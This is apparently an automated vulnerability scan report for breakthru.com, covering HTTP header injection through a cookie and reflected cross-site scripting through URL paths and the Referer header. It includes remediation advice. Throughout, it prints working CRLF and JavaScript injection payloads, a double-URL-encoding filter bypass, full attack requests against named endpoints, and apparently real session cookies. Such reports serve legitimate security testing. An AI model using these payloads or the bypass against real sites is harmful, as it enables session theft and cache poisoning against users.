HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 5df06%0d%0a5d16dc56019 was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.
Request
GET / HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=5df06%0d%0a5d16dc56019; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 14215%0d%0a7e220e4cb72 was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.
Request
GET /go/g43369.subffadult HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=14215%0d%0a7e220e4cb72; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 25747%0d%0af73cf0f96eb was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.
The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 31701%0d%0a75bdd2ee1da was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.
Request
GET /p/help.cgi HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=31701%0d%0a75bdd2ee1da; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
The value of the HISTORY cookie is copied into the Set-Cookie response header. The payload 97600%0d%0aa5dfce66be9 was submitted in the HISTORY cookie. This caused a response containing an injected HTTP header.
Request
GET /p/partners/main.cgi HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=97600%0d%0aa5dfce66be9; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a320%2522%253balert%25281%2529%252f%252f5d0e77ef8bd was submitted in the REST URL parameter 2. This input was echoed as 5a320";alert(1)//5d0e77ef8bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /go/g43369.subffadult5a320%2522%253balert%25281%2529%252f%252f5d0e77ef8bd HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f166%2522%253balert%25281%2529%252f%252fdbf39926c4a was submitted in the REST URL parameter 2. This input was echoed as 2f166";alert(1)//dbf39926c4a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /go/2f166%2522%253balert%25281%2529%252f%252fdbf39926c4a HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 77d85%2522%253balert%25281%2529%252f%252f0c1c9a1427d was submitted in the REST URL parameter 2. This input was echoed as 77d85";alert(1)//0c1c9a1427d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload eb225%250aalert%25281%2529%252f%252fe55faa24d83 was submitted in the REST URL parameter 2. This input was echoed as eb225 alert(1)//e55faa24d83 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7859a"-alert(1)-"a5855d0eb2b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; Referer: http://www.google.com/search?hl=en&q=7859a"-alert(1)-"a5855d0eb2b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ddd89"-alert(1)-"4a7a514862c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /go/g43369.subffadult HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=ddd89"-alert(1)-"4a7a514862c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14e66"-alert(1)-"803cd91dc14 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /go/g43369.subffadult5a320%22%3balert%28document.cookie%29%2f%2f5d0e77ef8bd HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; Referer: http://www.google.com/search?hl=en&q=14e66"-alert(1)-"803cd91dc14
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d742"-alert(1)-"c2651556214 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ee55"-alert(1)-"695e804d8ca was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /p/help.cgi HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; Referer: http://www.google.com/search?hl=en&q=3ee55"-alert(1)-"695e804d8ca
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a834b"-alert(1)-"2e6fa5520b3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /p/partners/main.cgi HTTP/1.1 Host: breakthru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: HISTORY=20101210-2-Dc1; v_hash=_english_; break_who=r,WGh64JNZTg8yZyOjEkNq1wWZirmPVh84QoMN6Iyy8KjpJmQ4Ium3GALZCosxtuU4utVuT6K9AHVgd_WRdcCLXyHt6EEC/aHYtMrPvRT02pD4J/fg_cI9wrPdAJ5mzPXYV8Kcre4jqxJVLXEmuV72hRuHZjCvAy7PbEAGFoZkfXDCIGIvttBwzVltEOn7umvClQU6Xrgl82NhZGP_BP6wLA--; click_id_time=2063510928_2010-12-10 07:22:02; REFERRAL_URL=http://breakthru.com/go/g43369.subffadult5a320%2522%253balert%2528document.cookie%2529%252f%252f5d0e77ef8bd; IP_COUNTRY=United States; __utmz=147063780.1291994469.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=147063780.672865223.1291994469.1291994469.1291994469.1; __utmc=147063780; break_tr=r,LCKPoH/nfe8kIkQ9q1pOU26RnPJNOyiV65YM5bGVCUOYgWHKxUAlr2jM2doFWO8i; __utmb=147063780.0.10.1291994469; LOCATION_FROM_IP=connection&tx&ip_type&Mapped&lat&32.80543&country_code&US&asn&21844&state&Texas&carrier&theplanet.com+internet+services++inc.&ip_routing_type&fixed&city&Dallas&state_cf&95&country_code_cf&99&postal_code&75219&latitude&32.80543&second_level_domain&theplanet&country&United+States&area_code&214&country_name&United+States&longitude&-96.81423&line_speed&high&timezone&-6.0&aol&0®ion&south+central&top_level_domain&com&city_cf&80&pmsa&1920&msa&19100&zip&75219&continent&north+america&lon&-96.81423&dma_code&623; Referer: http://www.google.com/search?hl=en&q=a834b"-alert(1)-"2e6fa5520b3